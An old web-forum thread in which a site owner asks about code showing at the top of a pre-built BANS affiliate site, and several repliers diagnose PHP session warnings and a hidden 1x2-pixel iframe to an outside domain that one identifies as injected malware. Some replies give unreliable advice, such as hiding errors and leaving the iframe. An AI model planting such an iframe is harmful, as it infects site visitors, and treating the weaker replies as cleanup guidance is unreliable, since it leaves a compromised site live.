Deleting unwanted code appearing at top of my page

Discussion in 'HTML & Website Design' started by dinrock, Jun 21, 2011.

  1. #1
    My other site here, has a bunch of code that is visible at the VERY TOP of the site. How can I get rid of that? I use BANS software on this site and I purchased this site already pre-built, now I see this code appearing atop the page and am wondering what I can do. Any information would be greatly appreciated, I have Cpanel access for this particular site.
     
    dinrock, Jun 21, 2011 IP
  2. KnuTz

    KnuTz Well-Known Member

    Messages:
    169
    Likes Received:
    11
    Best Answers:
    0
    Trophy Points:
    130
    Digital Goods:
    1
    #2
    it looks like someone or something put some code on your php files, open and edit and remove the code below...

    <iframe src="http://myndomain.info/" width="1" height="2"></iframe>
     
    KnuTz, Jun 21, 2011 IP
  3. badmas

    badmas Well-Known Member

    Messages:
    117
    Likes Received:
    14
    Best Answers:
    0
    Trophy Points:
    130
    #3
    seems like it is also having seesion start error.

    and all products links to ebay. if thats so just add error_reporting(0); to start of file.

    won't display these messages.
     
    badmas, Jun 21, 2011 IP
  4. dinrock

    dinrock Well-Known Member

    Messages:
    1,150
    Likes Received:
    13
    Best Answers:
    0
    Trophy Points:
    128
    #4
    THANK YOU badmas....I am at a loss as to what I should do then. I was told this line:

    <iframe src="http://myndomain.info/" width="1" height="2"></iframe>

    was the problem, and am glad I didn't mess with it. That site was initially purchased from another web designer, however it needed BANS software installed. It does have a CPanel access to it, and I have used it....but now I am hesitant. What do you think? I asked for assistance on WebMasterWorld but they hollered at me ssaying they were not just there for people looking for help, but rather a forum to discuss things. To be honest, I am at a loss as to where to turn.
     
    dinrock, Jun 22, 2011 IP
  5. unigogo

    unigogo Peon

    Messages:
    286
    Likes Received:
    8
    Best Answers:
    0
    Trophy Points:
    0
    #5
    try to comment the code at line 2 of cont.php. it looks //..............
     
    unigogo, Jun 22, 2011 IP
  6. dinrock

    dinrock Well-Known Member

    Messages:
    1,150
    Likes Received:
    13
    Best Answers:
    0
    Trophy Points:
    128
    #6
    I appreciate that unigogo. However now, I am at a total loss....do you mean DELETE or erase all of that code you mention? I am not sure I follow you.
     
    dinrock, Jun 22, 2011 IP
  7. ayekaye01

    ayekaye01 Peon

    Messages:
    214
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #7
    hi..open the home.php, locate this line:
    Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /home/cheapcam/public_html/index.php:3) in /home/cheapcam/public_html/cont/cont.php on line 2

    Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /home/cheapcam/public_html/index.php:3) in /home/cheapcam/public_html/cont/cont.php on line 2

    ...erase it, maybe there is no closing tag that's why it is visible at the top of the page
     
    ayekaye01, Jun 22, 2011 IP
  8. KnuTz

    KnuTz Well-Known Member

    Messages:
    169
    Likes Received:
    11
    Best Answers:
    0
    Trophy Points:
    130
    Digital Goods:
    1
    #8
    i see you haven't fix it yet, here a suggestion on what you should do. Block access to your site by creating a temporary index.html and upload it, this prevents your site from infecting other PC's. Right now it's trying to load a malware / virus etc. to someone who visits your site. Do this before your site get reported as a harmful or attack site. Now start cleaning your PC, update your antivirus and scan, after cleaning, change your ftp and cpanel password...Open and edit every file on your site (php/html) and remove the iframe code..goodluck.
     
    KnuTz, Jun 23, 2011 IP
  9. dinrock

    dinrock Well-Known Member

    Messages:
    1,150
    Likes Received:
    13
    Best Answers:
    0
    Trophy Points:
    128
    #9
    Thanks KnuTz. No, I haven't fixed it as I am not certain what to do....someone says to omit or delete a certain line of code and then I hear something different. Let me ask this, is there a section on DP devoted to HTML assistance? Let me know....I know this one is basically for getting "comments" and "suggestions" - I don't want to go on a forum and get penalized anymore. OR, can you direct me to a forum where there are CPanel specialists? As for protection, I continually update with and use Norton360. It's been great. If you can point me to a good CPanel forum, it would be more than appreciated so I can clean up this problem with this site. Thanks - I really appreciate it.
     
    dinrock, Jun 23, 2011 IP